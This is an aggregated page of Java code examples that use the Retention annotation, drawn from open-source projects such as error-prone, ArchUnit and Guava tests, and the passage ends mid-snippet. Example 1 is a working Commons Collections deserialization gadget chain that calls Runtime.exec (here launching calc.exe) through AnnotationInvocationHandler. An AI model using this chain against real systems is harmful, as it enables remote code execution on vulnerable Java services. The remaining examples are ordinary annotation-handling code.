Java Code Examples for java.lang.annotation.Retention

The following are top voted examples for showing how to use java.lang.annotation.Retention. These examples are extracted from open source projects. You can vote up the examples you like and your votes will be used in our system to generate more good examples.
Example 1
Project: interview-question-code   File: App.java   View source code 6 votes vote down vote up
public static Object Reverse_Payload() throws Exception {
    Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},
                    new Object[]{"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},
                    new Object[]{null, new Object[0]}),
            new InvokerTransformer("exec", new Class[]{String.class},
                    new Object[]{"calc.exe"})};
    Transformer transformerChain = new ChainedTransformer(transformers);

    Map pocMap = new HashMap();
    pocMap.put("value", "value");
    Map outmap = TransformedMap.decorate(pocMap, null, transformerChain);
    //通过反射获得AnnotationInvocationHandler类对象
    Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    //通过反射获得cls的构造函数
    Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
    //这里需要设置Accessible为true,否则序列化失败
    ctor.setAccessible(true);
    //通过newInstance()方法实例化对象
    Object instance = ctor.newInstance(Retention.class, outmap);
    return instance;
}
 
Example 2
Project: beanvalidation-benchmark   File: Jsr303Annotator.java   View source code 6 votes vote down vote up
private JDefinedClass buildTemplateConstraint(String name) {
    try {
        JDefinedClass tplConstraint = codeModel._class(Config.CFG.getBasePackageName() + ".annot."+name, ClassType.ANNOTATION_TYPE_DECL);
        tplConstraint.annotate(Documented.class);
        tplConstraint.annotate(Retention.class).param("value", RetentionPolicy.RUNTIME);
        tplConstraint.annotate(Target.class).paramArray("value").param(ElementType.TYPE).param(ElementType.ANNOTATION_TYPE).param(ElementType.FIELD).param(ElementType.METHOD);
        
        // Using direct as I don't know how to build default { } with code model
        tplConstraint.direct("\n" + "    Class<?>[] groups() default {};\n" + "    String message() default \"Invalid value\";\n" + "    Class<? extends Payload>[] payload() default {};\n");
        
        // Hack to force the import of javax.validation.Payload
        tplConstraint.javadoc().addThrows((JClass) codeModel._ref(Payload.class)).add("Force import");
        
        return tplConstraint;
    } catch (JClassAlreadyExistsException e) {
        throw new RuntimeException("Tried to create an already existing class: " + name, e);
    }
}
 
Example 3
Project: russian-requisites-validator   File: ArchitectureTest.java   View source code 6 votes vote down vote up
private static ArchCondition<JavaClass> retention(final RetentionPolicy expected) {
	return new ArchCondition<JavaClass>("retention " + expected.name()) {
		@Override
		public void check(JavaClass item, ConditionEvents events) {
			Optional<Retention> annotation = item.tryGetAnnotationOfType(Retention.class);
			if (annotation.isPresent()) {
				RetentionPolicy actual = annotation.get().value();
				boolean equals = expected.equals(actual);
				String message = String.format("class %s is annotated with %s with value = '%s' which %s with required '%s'",
						item.getName(), Retention.class.getSimpleName(), actual.name(), equals ? "equals" : "not equals", expected.name()
				);
				events.add(equals ? SimpleConditionEvent.satisfied(item, message) : SimpleConditionEvent.violated(item, message));
			}
		}
	};
}
 
Example 4
Project: Spork   File: QualifierCacheTests.java   View source code 6 votes vote down vote up
@Test
public void annotationWithValueMethod() {
	Annotation annotation = Singleton.class.getAnnotation(Retention.class);
	cache.getQualifier(annotation);

	InOrder inOrder = inOrder(lock, cache);

	// initial call
	inOrder.verify(cache).getQualifier(annotation);

	// internal thread safe method lookup
	inOrder.verify(cache).getValueMethodThreadSafe(Retention.class);
	inOrder.verify(lock).lock();
	inOrder.verify(cache).getValueMethod(Retention.class);
	inOrder.verify(lock).unlock();

	// get Qualifier from value() method
	inOrder.verify(cache).getQualifier(any(Method.class), eq(annotation));

	inOrder.verifyNoMoreInteractions();
	verifyZeroInteractions(cache);
	assertThat(bindActionMap.size(), is(1));
}
 
Example 5
Project: huntbugs   File: DeclaredAnnotations.java   View source code 6 votes vote down vote up
@Override
protected void visitType(TypeDefinition td) {
    if (!td.isAnnotation())
        return;
    DeclaredAnnotation da = getOrCreate(td);
    for (CustomAnnotation ca : td.getAnnotations()) {
        if (Types.is(ca.getAnnotationType(), Retention.class)) {
            for (AnnotationParameter ap : ca.getParameters()) {
                if (ap.getMember().equals("value")) {
                    AnnotationElement value = ap.getValue();
                    if (value instanceof EnumAnnotationElement) {
                        EnumAnnotationElement enumValue = (EnumAnnotationElement) value;
                        if (Types.is(enumValue.getEnumType(), RetentionPolicy.class)) {
                            da.policy = RetentionPolicy.valueOf(enumValue.getEnumConstantName());
                        }
                    }
                }
            }
        }
    }
}
 
Example 6
Project: Lyrics   File: StringDefValuesHandler.java   View source code 6 votes vote down vote up
@Override
public void process(TypeSpec.Builder typeBuilder, TypeModel typeModel) {
    String valuesStr = "";
    for (String key : getEnumValues(typeModel)) {
        valuesStr += key + ", ";
        typeBuilder.addField(FieldSpec.builder(ClassName.get(String.class), key)
                .addModifiers(Modifier.PUBLIC, Modifier.STATIC, Modifier.FINAL)
                .initializer("$S", key)
                .build());
    }

    AnnotationSpec.Builder retentionAnnotation = AnnotationSpec.builder(ClassName.get(Retention.class)).
            addMember("value", "$T.SOURCE", ClassName.get(RetentionPolicy.class));
    AnnotationSpec.Builder intDefAnnotation = AnnotationSpec.builder(ClassName.get("android.support.annotation", "StringDef"))
            .addMember("value", "{ $L }", valuesStr.substring(0, valuesStr.length() - 2));

    typeBuilder.addType(TypeSpec.annotationBuilder(metaInfo.getClassName() + "Def").
            addModifiers(Modifier.PUBLIC).
            addAnnotation(retentionAnnotation.build()).
            addAnnotation(intDefAnnotation.build()).
            build());
}
 
Example 7
Project: naum   File: ClassTest.java   View source code 6 votes vote down vote up
@Test
public void loadAndCheckAnnotatedAnnotation() throws Exception {
    ClassInfo classInfo = ClassInfo.newAnnotation()
        .name("org.kordamp.naum.processor.klass.AnnotatedAnnotation")
        .iface(Annotation.class.getName())
        .build();
    classInfo.addToAnnotations(annotationInfo()
        .name(Retention.class.getName())
        .annotationValue("value", new EnumValue(RetentionPolicy.class.getName(), "SOURCE"))
        .build());
    classInfo.addToAnnotations(annotationInfo()
        .name(Target.class.getName())
        .annotationValue("value", newArrayValue(asList(
                newEnumValue(ElementType.class.getName(), ElementType.TYPE.name()),
                newEnumValue(ElementType.class.getName(), ElementType.FIELD.name()))
        ))
        .build());
    loadAndCheck("org/kordamp/naum/processor/klass/AnnotatedAnnotation.class", (klass) -> {
        assertThat(klass.getContentHash(), equalTo(classInfo.getContentHash()));
        assertThat(klass, equalTo(classInfo));
    });
}
 
Example 8
Project: intellij-ce-playground   File: AnonymousCanBeLambdaInspection.java   View source code 6 votes vote down vote up
private static boolean hasRuntimeAnnotations(PsiMethod method) {
  PsiAnnotation[] annotations = method.getModifierList().getAnnotations();
  for (PsiAnnotation annotation : annotations) {
    PsiJavaCodeReferenceElement ref = annotation.getNameReferenceElement();
    PsiElement target = ref != null ? ref.resolve() : null;
    if (target instanceof PsiClass) {
      final PsiAnnotation retentionAnno = AnnotationUtil.findAnnotation((PsiClass)target, Retention.class.getName());
      if (retentionAnno != null) {
        PsiAnnotationMemberValue value = retentionAnno.findAttributeValue("value");
        if (value instanceof PsiReferenceExpression) {
          final PsiElement resolved = ((PsiReferenceExpression)value).resolve();
          if (resolved instanceof PsiField && RetentionPolicy.RUNTIME.name().equals(((PsiField)resolved).getName())) {
            final PsiClass containingClass = ((PsiField)resolved).getContainingClass();
            if (containingClass != null && RetentionPolicy.class.getName().equals(containingClass.getQualifiedName())) {
              return true;
            }
          }
        }
      }
    }
  }
  return false;
}
 
Example 9
Project: gwt-backbone   File: ReflectAllInOneCreator.java   View source code 6 votes vote down vote up
private void getAllReflectionClasses() throws NotFoundException{

		//System annotations
		addClassIfNotExists(typeOracle.getType(Retention.class.getCanonicalName()), ReflectableHelper.getDefaultSettings(typeOracle));
		addClassIfNotExists(typeOracle.getType(Documented.class.getCanonicalName()), ReflectableHelper.getDefaultSettings(typeOracle));
		addClassIfNotExists(typeOracle.getType(Inherited.class.getCanonicalName()), ReflectableHelper.getDefaultSettings(typeOracle));
		addClassIfNotExists(typeOracle.getType(Target.class.getCanonicalName()), ReflectableHelper.getDefaultSettings(typeOracle));
		addClassIfNotExists(typeOracle.getType(Deprecated.class.getCanonicalName()), ReflectableHelper.getDefaultSettings(typeOracle));
		//typeOracle.getType("org.lirazs.gbackbone.client.test.reflection.TestReflectionGenerics.TestReflection1");
		
		//=====GWT0.7
		for (JClassType classType : typeOracle.getTypes()) {
			Reflectable reflectable = GenUtils.getClassTypeAnnotationWithMataAnnotation(classType, Reflectable.class);
			if (reflectable != null){
				processClass(classType, reflectable);
				
				if (reflectable.assignableClasses()){
					for (JClassType type : classType.getSubtypes()){
						processClass(type, reflectable);
					}
				}
			}
		}
		//======end of gwt0.7
	}
 
Example 10
Project: autodata   File: AutoDataAnnotationProcessor.java   View source code 6 votes vote down vote up
@Nullable
private static Class<Annotation> getDeclaredAnnotationClass(AnnotationMirror mirror) throws ClassNotFoundException {
    TypeElement element = (TypeElement) mirror.getAnnotationType().asElement();
    // Ensure the annotation has the correct retention and targets.
    Retention retention = element.getAnnotation(Retention.class);
    if (retention != null && retention.value() != RetentionPolicy.RUNTIME) {
        return null;
    }
    Target target = element.getAnnotation(Target.class);
    if (target != null) {
        if (target.value().length < 2) {
            return null;
        }
        List<ElementType> targets = Arrays.asList(target.value());
        if (!(targets.contains(ElementType.TYPE) && targets.contains(ElementType.ANNOTATION_TYPE))) {
            return null;
        }
    }
    return (Class<Annotation>) Class.forName(element.getQualifiedName().toString());
}
 
Example 11
Project: error-prone   File: ScopeOrQualifierAnnotationRetention.java   View source code 6 votes vote down vote up
@Override
public final Description matchClass(ClassTree classTree, VisitorState state) {
  if (SCOPE_OR_QUALIFIER_ANNOTATION_MATCHER.matches(classTree, state)) {
    ClassSymbol classSymbol = ASTHelpers.getSymbol(classTree);
    if (hasSourceRetention(classSymbol)) {
      return describe(classTree, state, ASTHelpers.getAnnotation(classSymbol, Retention.class));
    }

    // TODO(glorioso): This is a poor hack to exclude android apps that are more likely to not
    // have reflective DI than normal java. JSR spec still says the annotations should be
    // runtime-retained, but this reduces the instances that are flagged.
    if (!state.isAndroidCompatible() && doesNotHaveRuntimeRetention(classSymbol)) {
      // Is this in a dagger component?
      ClassTree outer = ASTHelpers.findEnclosingNode(state.getPath(), ClassTree.class);
      if (outer != null && InjectMatchers.IS_DAGGER_COMPONENT_OR_MODULE.matches(outer, state)) {
        return Description.NO_MATCH;
      }
      return describe(classTree, state, ASTHelpers.getAnnotation(classSymbol, Retention.class));
    }
  }
  return Description.NO_MATCH;
}
 
Example 12
Project: error-prone   File: ScopeOrQualifierAnnotationRetention.java   View source code 6 votes vote down vote up
private Description describe(
    ClassTree classTree, VisitorState state, @Nullable Retention retention) {
  if (retention == null) {
    return describeMatch(
        classTree,
        SuggestedFix.builder()
            .addImport("java.lang.annotation.Retention")
            .addStaticImport("java.lang.annotation.RetentionPolicy.RUNTIME")
            .prefixWith(classTree, "@Retention(RUNTIME)\n")
            .build());
  }
  AnnotationTree retentionNode = null;
  for (AnnotationTree annotation : classTree.getModifiers().getAnnotations()) {
    if (ASTHelpers.getSymbol(annotation)
        .equals(state.getSymbolFromString(RETENTION_ANNOTATION))) {
      retentionNode = annotation;
    }
  }
  return describeMatch(
      retentionNode,
      SuggestedFix.builder()
          .addImport("java.lang.annotation.Retention")
          .addStaticImport("java.lang.annotation.RetentionPolicy.RUNTIME")
          .replace(retentionNode, "@Retention(RUNTIME)")
          .build());
}
 
Example 13
Project: cn1   File: Class1_5Test.java   View source code 6 votes vote down vote up
/**
 *  
 */
public void test_isAnnotationPresent_Cla() {
	class e {};
	assertFalse("zzz annotation is not presented for e class!", 
                     e.class.isAnnotationPresent(zzz.class));
          assertFalse("zzz annotation is not presented for zzz class!", 
                     zzz.class.isAnnotationPresent(zzz.class));
	assertTrue("Target annotation is presented for zzz class!",
                     zzz.class.isAnnotationPresent(java.lang.annotation
                                                   .Target.class));
	assertTrue("Documented annotation is presented for zzz class!",
                     zzz.class.isAnnotationPresent(java.lang.annotation
                                                   .Documented.class));
	assertTrue("Retention annotation is presented for zzz class!", 
                     zzz.class.isAnnotationPresent(java.lang.annotation
                                                   .Retention.class));
}
 
Example 14
Project: cn1   File: Class1_5Test.java   View source code 6 votes vote down vote up
/**
 *  
 */
public void test_getAnnotation_Cla() {
	class e {};
	assertNull("zzz annotation is not presented in e class!", 
                  e.class.getAnnotation(zzz.class));
	assertNull("zzz annotation is not presented in zzz class!", 
                  zzz.class.getAnnotation(zzz.class));
	assertFalse("Target annotation is presented in zzz class!", 
                  zzz.class.getAnnotation(java.lang.annotation.Target.class)
                     .toString().indexOf("java.lang.annotation.Target") == -1);
	assertFalse("Documented annotation is presented in zzz class!", 
                  zzz.class.getAnnotation(java.lang.annotation.Documented.class)
                     .toString().indexOf("java.lang.annotation.Documented") == -1);
          assertFalse("Retention annotation is presented in zzz class!", 
                  zzz.class.getAnnotation(java.lang.annotation.Retention.class)
                     .toString().indexOf("java.lang.annotation.Retention") == -1);
}
 
Example 15
Project: error-prone-aspirator   File: InjectScopeOrQualifierAnnotationRetention.java   View source code 6 votes vote down vote up
public Description describe(ClassTree classTree, VisitorState state) {
  Retention retention = ASTHelpers.getAnnotation(classTree, Retention.class);
  if (retention == null) {
    return describeMatch(classTree, new SuggestedFix().addImport(
        "java.lang.annotation.Retention")
        .addStaticImport("java.lang.annotation.RetentionPolicy.RUNTIME")
        .prefixWith(classTree, "@Retention(RUNTIME)\n"));
  }
  AnnotationTree retentionNode = null;
  for (AnnotationTree annotation : classTree.getModifiers().getAnnotations()) {
    if (ASTHelpers.getSymbol(annotation)
        .equals(state.getSymbolFromString(RETENTION_ANNOTATION))) {
      retentionNode = annotation;
    }
  }
  return describeMatch(retentionNode, new SuggestedFix().addImport(
      "java.lang.annotation.Retention")
      .addStaticImport("java.lang.annotation.RetentionPolicy.RUNTIME")
      .replace(retentionNode, "@Retention(RUNTIME)"));
}
 
Example 16
Project: error-prone-aspirator   File: NonRuntimeAnnotation.java   View source code 6 votes vote down vote up
@Override
public Description matchMethodInvocation(MethodInvocationTree tree, VisitorState state) {
  if (!methodSelect(
      instanceMethod(Matchers.<ExpressionTree>isSubtypeOf("java.lang.Class"), "getAnnotation"))
      .matches(tree, state)) {
    return Description.NO_MATCH;
  }
  MemberSelectTree memTree = (MemberSelectTree) tree.getArguments().get(0);
  TypeSymbol annotation = ASTHelpers.getSymbol(memTree.getExpression()).type.tsym;

  Retention retention = ASTHelpers.getAnnotation(annotation, Retention.class);
  if (retention != null && retention.value().equals(RUNTIME)) {
    return Description.NO_MATCH;
  }

  return describeMatch(tree, new SuggestedFix().replace(tree, "null"));
}
 
Example 17
Project: freeVM   File: Class1_5Test.java   View source code 6 votes vote down vote up
/**
 *  
 */
public void test_isAnnotationPresent_Cla() {
	class e {};
	assertFalse("zzz annotation is not presented for e class!", 
                     e.class.isAnnotationPresent(zzz.class));
          assertFalse("zzz annotation is not presented for zzz class!", 
                     zzz.class.isAnnotationPresent(zzz.class));
	assertTrue("Target annotation is presented for zzz class!",
                     zzz.class.isAnnotationPresent(java.lang.annotation
                                                   .Target.class));
	assertTrue("Documented annotation is presented for zzz class!",
                     zzz.class.isAnnotationPresent(java.lang.annotation
                                                   .Documented.class));
	assertTrue("Retention annotation is presented for zzz class!", 
                     zzz.class.isAnnotationPresent(java.lang.annotation
                                                   .Retention.class));
}
 
Example 18
Project: freeVM   File: Class1_5Test.java   View source code 6 votes vote down vote up
/**
 *  
 */
public void test_getAnnotation_Cla() {
	class e {};
	assertNull("zzz annotation is not presented in e class!", 
                  e.class.getAnnotation(zzz.class));
	assertNull("zzz annotation is not presented in zzz class!", 
                  zzz.class.getAnnotation(zzz.class));
	assertFalse("Target annotation is presented in zzz class!", 
                  zzz.class.getAnnotation(java.lang.annotation.Target.class)
                     .toString().indexOf("java.lang.annotation.Target") == -1);
	assertFalse("Documented annotation is presented in zzz class!", 
                  zzz.class.getAnnotation(java.lang.annotation.Documented.class)
                     .toString().indexOf("java.lang.annotation.Documented") == -1);
          assertFalse("Retention annotation is presented in zzz class!", 
                  zzz.class.getAnnotation(java.lang.annotation.Retention.class)
                     .toString().indexOf("java.lang.annotation.Retention") == -1);
}
 
Example 19
Project: ajunit   File: ClassPredicatesTest.java   View source code 6 votes vote down vote up
@Test
public void isSubclassOfInterfacePredicate() throws Exception {
    // arrange / given
    final Predicate predicate = ClassPredicates.isSubclassOf(AnyInterface.class);

    // assert / then
    assertClassType(predicate, int.class, false);
    assertClassType(predicate, void.class, false);
    assertClassType(predicate, int[].class, false);
    assertClassType(predicate, Object.class, false);
    assertClassType(predicate, Serializable.class, false);
    assertClassType(predicate, RetentionPolicy.class, false);
    assertClassType(predicate, Retention.class, false);
    assertClassType(predicate, AnyInterface.class, true);
    assertClassType(predicate, AnyBaseClass.class, true);
    assertClassType(predicate, AnyClass.class, true);
}
 
Example 20
Project: ajunit   File: ClassPredicatesTest.java   View source code 6 votes vote down vote up
@Test
public void isSubclassOfBaseClassPredicate() throws Exception {
    // arrange / given
    final Predicate predicate = ClassPredicates.isSubclassOf(AnyBaseClass.class);

    // assert / then
    assertClassType(predicate, int.class, false);
    assertClassType(predicate, void.class, false);
    assertClassType(predicate, int[].class, false);
    assertClassType(predicate, Object.class, false);
    assertClassType(predicate, Serializable.class, false);
    assertClassType(predicate, RetentionPolicy.class, false);
    assertClassType(predicate, Retention.class, false);
    assertClassType(predicate, AnyInterface.class, false);
    assertClassType(predicate, AnyBaseClass.class, true);
    assertClassType(predicate, AnyClass.class, true);
}
 
Example 21
Project: teavm   File: ClassTest.java   View source code 6 votes vote down vote up
@Test
public void annotationFieldTypesSupported() {
    AnnotWithVariousFields annot = D.class.getAnnotation(AnnotWithVariousFields.class);
    assertEquals(true, annot.a());
    assertEquals((byte) 2, annot.b());
    assertEquals((short) 3, annot.c());
    assertEquals(4, annot.d());
    assertEquals(5L, annot.e());
    assertEquals(6.5, annot.f(), 0.01);
    assertEquals(7.2, annot.g(), 0.01);
    assertArrayEquals(new int[] { 2, 3 }, annot.h());
    assertEquals(RetentionPolicy.CLASS, annot.i());
    assertEquals(Retention.class, annot.j().annotationType());
    assertEquals(1, annot.k().length);
    assertEquals(RetentionPolicy.RUNTIME, annot.k()[0].value());
    assertEquals("foo", annot.l());
    assertArrayEquals(new String[] { "bar" }, annot.m());
    assertEquals(Integer.class, annot.n());
}
 
Example 22
Project: Reer   File: AsmBackedClassGenerator.java   View source code 5 votes vote down vote up
public void addConstructor(Constructor<?> constructor) throws Exception {
    List<Type> paramTypes = new ArrayList<Type>();
    for (Class<?> paramType : constructor.getParameterTypes()) {
        paramTypes.add(Type.getType(paramType));
    }
    String methodDescriptor = Type.getMethodDescriptor(VOID_TYPE, paramTypes.toArray(EMPTY_TYPES));

    MethodVisitor methodVisitor = visitor.visitMethod(Opcodes.ACC_PUBLIC, "<init>", methodDescriptor, signature(constructor), EMPTY_STRINGS);

    for (Annotation annotation : constructor.getDeclaredAnnotations()) {
        if (annotation.annotationType().getAnnotation(Inherited.class) != null) {
            continue;
        }
        Retention retention = annotation.annotationType().getAnnotation(Retention.class);
        AnnotationVisitor annotationVisitor = methodVisitor.visitAnnotation(Type.getType(annotation.annotationType()).getDescriptor(), retention != null && retention.value() == RetentionPolicy.RUNTIME);
        annotationVisitor.visitEnd();
    }

    methodVisitor.visitCode();

    // this.super(p0 .. pn)
    methodVisitor.visitVarInsn(Opcodes.ALOAD, 0);
    for (int i = 0; i < constructor.getParameterTypes().length; i++) {
        methodVisitor.visitVarInsn(Type.getType(constructor.getParameterTypes()[i]).getOpcode(Opcodes.ILOAD), i + 1);
    }
    methodVisitor.visitMethodInsn(Opcodes.INVOKESPECIAL, superclassType.getInternalName(), "<init>", methodDescriptor, false);

    methodVisitor.visitInsn(Opcodes.RETURN);
    methodVisitor.visitMaxs(0, 0);
    methodVisitor.visitEnd();
}
 
Example 23
Project: Reer   File: AsmBackedClassGenerator.java   View source code 5 votes vote down vote up
private void includeNotInheritedAnnotations() {
    for (Annotation annotation : type.getDeclaredAnnotations()) {
        if (annotation.annotationType().getAnnotation(Inherited.class) != null) {
            continue;
        }
        Retention retention = annotation.annotationType().getAnnotation(Retention.class);
        boolean visible = retention != null && retention.value() == RetentionPolicy.RUNTIME;
        AnnotationVisitor annotationVisitor = visitor.visitAnnotation(Type.getType(annotation.annotationType()).getDescriptor(), visible);
        visitAnnotationValues(annotation, annotationVisitor);
        annotationVisitor.visitEnd();
    }
}
 
Example 24
Project: Reer   File: GradleResolveVisitor.java   View source code 5 votes vote down vote up
public void visitAnnotations(AnnotatedNode node) {
    List<AnnotationNode> annotations = node.getAnnotations();
    if (annotations.isEmpty()) {
        return;
    }
    Map<String, AnnotationNode> tmpAnnotations = new HashMap<String, AnnotationNode>();
    ClassNode annType;
    for (AnnotationNode an : annotations) {
        // skip built-in properties
        if (an.isBuiltIn()) {
            continue;
        }
        annType = an.getClassNode();
        resolveOrFail(annType, ",  unable to find class for annotation", an);
        for (Map.Entry<String, Expression> member : an.getMembers().entrySet()) {
            Expression newValue = transform(member.getValue());
            newValue = transformInlineConstants(newValue);
            member.setValue(newValue);
            checkAnnotationMemberValue(newValue);
        }
        if (annType.isResolved()) {
            Class annTypeClass = annType.getTypeClass();
            Retention retAnn = (Retention) annTypeClass.getAnnotation(Retention.class);
            if (retAnn != null && retAnn.value().equals(RetentionPolicy.RUNTIME)) {
                AnnotationNode anyPrevAnnNode = tmpAnnotations.put(annTypeClass.getName(), an);
                if (anyPrevAnnNode != null) {
                    addError("Cannot specify duplicate annotation on the same member : " + annType.getName(), an);
                }
            }
        }
    }
}
 
Example 25
Project: incubator-netbeans   File: GenerationUtilsTest.java   View source code 5 votes vote down vote up
public void testCreateAnnotation() throws Exception {
    TestUtilities.copyStringToFileObject(testFO,
            "package foo;" +
            "public class TestClass {" +
            "}");
    runModificationTask(testFO, new Task<WorkingCopy>() {
        public void run(WorkingCopy copy) throws Exception {
            GenerationUtils genUtils = GenerationUtils.newInstance(copy);
            ClassTree classTree = (ClassTree)copy.getCompilationUnit().getTypeDecls().get(0);
            AnnotationTree annotationTree = genUtils.createAnnotation("java.lang.SuppressWarnings",
                    Collections.singletonList(genUtils.createAnnotationArgument(null, "unchecked")));
            ClassTree newClassTree = genUtils.addAnnotation(classTree, annotationTree);
            annotationTree = genUtils.createAnnotation("java.lang.annotation.Retention",
                    Collections.singletonList(genUtils.createAnnotationArgument(null, "java.lang.annotation.RetentionPolicy", "RUNTIME")));
            newClassTree = genUtils.addAnnotation(newClassTree, annotationTree);
            copy.rewrite(classTree, newClassTree);
        }
    }).commit();
    runUserActionTask(testFO, new Task<CompilationController>() {
        public void run(CompilationController controller) throws Exception {
            TypeElement typeElement = SourceUtils.getPublicTopLevelElement(controller);
            assertEquals(2, typeElement.getAnnotationMirrors().size());
            SuppressWarnings suppressWarnings = typeElement.getAnnotation(SuppressWarnings.class);
            assertNotNull(suppressWarnings);
            assertEquals(1, suppressWarnings.value().length);
            assertEquals("unchecked", suppressWarnings.value()[0]);
            Retention retention = typeElement.getAnnotation(Retention.class);
            assertNotNull(retention);
            assertEquals(RetentionPolicy.RUNTIME, retention.value());
        }
    });
}
 
Example 26
Project: elasticsearch_my   File: Matchers.java   View source code 5 votes vote down vote up
private static void checkForRuntimeRetention(
        Class<? extends Annotation> annotationType) {
    Retention retention = annotationType.getAnnotation(Retention.class);
    if (retention == null || retention.value() != RetentionPolicy.RUNTIME) {
        throw new IllegalArgumentException("Annotation " + annotationType.getSimpleName() + " is missing RUNTIME retention");
    }
}
 
Example 27
Project: openjdk-systemtest   File: AnnotationFieldTests.java   View source code 5 votes vote down vote up
public void testMetaAnnotation() throws NoSuchFieldException
{
	Field myMetaField = AnnotatedElements.class.getDeclaredField("field4");

	// The @A_Meta annotation has an annotation called @MetaAnnotation2
	A_Meta am = myMetaField.getAnnotation(A_Meta.class);
	assertTrue( am.annotationType().isAnnotationPresent(MetaAnnotation2.class));
	assertTrue( am.annotationType().isAnnotationPresent(MetaAnnotation3.class));
	
	Annotation[] annot1 = am.annotationType().getAnnotations();
	// 3 annotations should be present: @MetaAnnotation2,@MetaAnnotation3,@Retention
	assertTrue (annot1.length == 3);
	
	boolean[] annot_count = new boolean[] {false, false, false};		
	for (int i=0; i<annot1.length; i++)
	{
		if (annot1[i] instanceof Retention)
			annot_count[0] = true;
		else if (annot1[i] instanceof MetaAnnotation2)
			annot_count[1] = true;				
		else if (annot1[i] instanceof MetaAnnotation3)
			annot_count[2] = true;				
		else
			fail("Error! Unknown annotation instance detected in field2!");							
	}
	// Make sure all three annotations were found
	assertTrue(annot_count[0] && annot_count[1] && annot_count[2]);		
	
	// @MetaAnnotation2 has an annotation called @MetaAnnotation
	Annotation annot2 = MetaAnnotation2.class.getAnnotation(MetaAnnotation.class);
	assertTrue(annot2 != null);
	assertTrue(annot2 instanceof MetaAnnotation);		
}
 
Example 28
Project: guava-mock   File: FeatureEnumTest.java   View source code 5 votes vote down vote up
private static void assertGoodTesterAnnotation(
    Class<? extends Annotation> annotationClass) {
  assertNotNull(
      rootLocaleFormat("%s must be annotated with @TesterAnnotation.",
          annotationClass),
      annotationClass.getAnnotation(TesterAnnotation.class));
  final Retention retentionPolicy =
      annotationClass.getAnnotation(Retention.class);
  assertNotNull(
      rootLocaleFormat("%s must have a @Retention annotation.", annotationClass),
      retentionPolicy);
  assertEquals(
      rootLocaleFormat("%s must have RUNTIME RetentionPolicy.", annotationClass),
      RetentionPolicy.RUNTIME, retentionPolicy.value());
  assertNotNull(
      rootLocaleFormat("%s must be inherited.", annotationClass),
      annotationClass.getAnnotation(Inherited.class));

  for (String propertyName : new String[]{"value", "absent"}) {
    Method method = null;
    try {
      method = annotationClass.getMethod(propertyName);
    } catch (NoSuchMethodException e) {
      fail(rootLocaleFormat("%s must have a property named '%s'.",
          annotationClass, propertyName));
    }
    final Class<?> returnType = method.getReturnType();
    assertTrue(rootLocaleFormat("%s.%s() must return an array.",
        annotationClass, propertyName),
        returnType.isArray());
    assertSame(rootLocaleFormat("%s.%s() must return an array of %s.",
        annotationClass, propertyName, annotationClass.getDeclaringClass()),
        annotationClass.getDeclaringClass(), returnType.getComponentType());
  }
}
 
Example 29
Project: ArchUnit   File: CanBeAnnotated.java   View source code 5 votes vote down vote up
private static void checkAnnotationHasReasonableRetention(Class<? extends Annotation> annotationType) {
    if (isRetentionSource(annotationType)) {
        throw new InvalidSyntaxUsageException(String.format(
                "Annotation type %s has @%s(%s), thus the information is gone after compile. "
                        + "So checking this with ArchUnit is useless.",
                annotationType.getName(), Retention.class.getSimpleName(), RetentionPolicy.SOURCE));
    }
}
 
Example 30
Project: ArchUnit   File: JavaClassTest.java   View source code 5 votes vote down vote up
@Test
public void isAnnotatedWith_type() {
    assertThat(importClassWithContext(Parent.class).isAnnotatedWith(SomeAnnotation.class))
            .as("Parent is annotated with @" + SomeAnnotation.class.getSimpleName()).isTrue();
    assertThat(importClassWithContext(Parent.class).isAnnotatedWith(Retention.class))
            .as("Parent is annotated with @" + Retention.class.getSimpleName()).isFalse();
}
 
Example 31
Project: ArchUnit   File: JavaClassTest.java   View source code 5 votes vote down vote up
@Test
public void isAnnotatedWith_typeName() {
    assertThat(importClassWithContext(Parent.class).isAnnotatedWith(SomeAnnotation.class.getName()))
            .as("Parent is annotated with @" + SomeAnnotation.class.getSimpleName()).isTrue();
    assertThat(importClassWithContext(Parent.class).isAnnotatedWith(Retention.class.getName()))
            .as("Parent is annotated with @" + Retention.class.getSimpleName()).isFalse();
}
 
Example 32
Project: ArchUnit   File: AnnotationProxyTest.java   View source code 5 votes vote down vote up
@Test
public void wrong_annotation_type_is_rejected() {
    JavaAnnotation mismatch = javaAnnotationFrom(TestAnnotation.class.getAnnotation(Retention.class));

    thrown.expect(IllegalArgumentException.class);
    thrown.expectMessage(Retention.class.getSimpleName());
    thrown.expectMessage(TestAnnotation.class.getSimpleName());
    thrown.expectMessage("incompatible");
    AnnotationProxy.of(TestAnnotation.class, mismatch);
}
 
Example 33
Project: ArchUnit   File: JavaMemberTest.java   View source code 5 votes vote down vote up
@Test
public void isAnnotatedWith_type() {
    assertThat(importField(SomeClass.class, "someField").isAnnotatedWith(Deprecated.class))
            .as("field is annotated with @Deprecated").isTrue();
    assertThat(importField(SomeClass.class, "someField").isAnnotatedWith(Retention.class))
            .as("field is annotated with @Retention").isFalse();
}
 
Example 34
Project: ArchUnit   File: JavaMemberTest.java   View source code 5 votes vote down vote up
@Test
public void isAnnotatedWith_typeName() {
    assertThat(importField(SomeClass.class, "someField").isAnnotatedWith(Deprecated.class.getName()))
            .as("field is annotated with @Deprecated").isTrue();
    assertThat(importField(SomeClass.class, "someField").isAnnotatedWith(Retention.class.getName()))
            .as("field is annotated with @Retention").isFalse();
}
 
Example 35
Project: queries   File: QueriesConfigImplTest.java   View source code 5 votes vote down vote up
@Before
public void setUp() {
	mappers = new HashMap<>();
	mappers.put(Retention.class, mapper1);
	mappers.put(Target.class, mapper2);

	converters = new HashMap<>();
	converters.put(Retention.class, converter1);
	converters.put(Target.class, converter2);

	config = new QueriesConfigImpl(dialect, binder, mappers, converters);
}
 
Example 36
Project: googles-monorepo-demo   File: FeatureEnumTest.java   View source code 5 votes vote down vote up
private static void assertGoodTesterAnnotation(
    Class<? extends Annotation> annotationClass) {
  assertNotNull(
      rootLocaleFormat("%s must be annotated with @TesterAnnotation.",
          annotationClass),
      annotationClass.getAnnotation(TesterAnnotation.class));
  final Retention retentionPolicy =
      annotationClass.getAnnotation(Retention.class);
  assertNotNull(
      rootLocaleFormat("%s must have a @Retention annotation.", annotationClass),
      retentionPolicy);
  assertEquals(
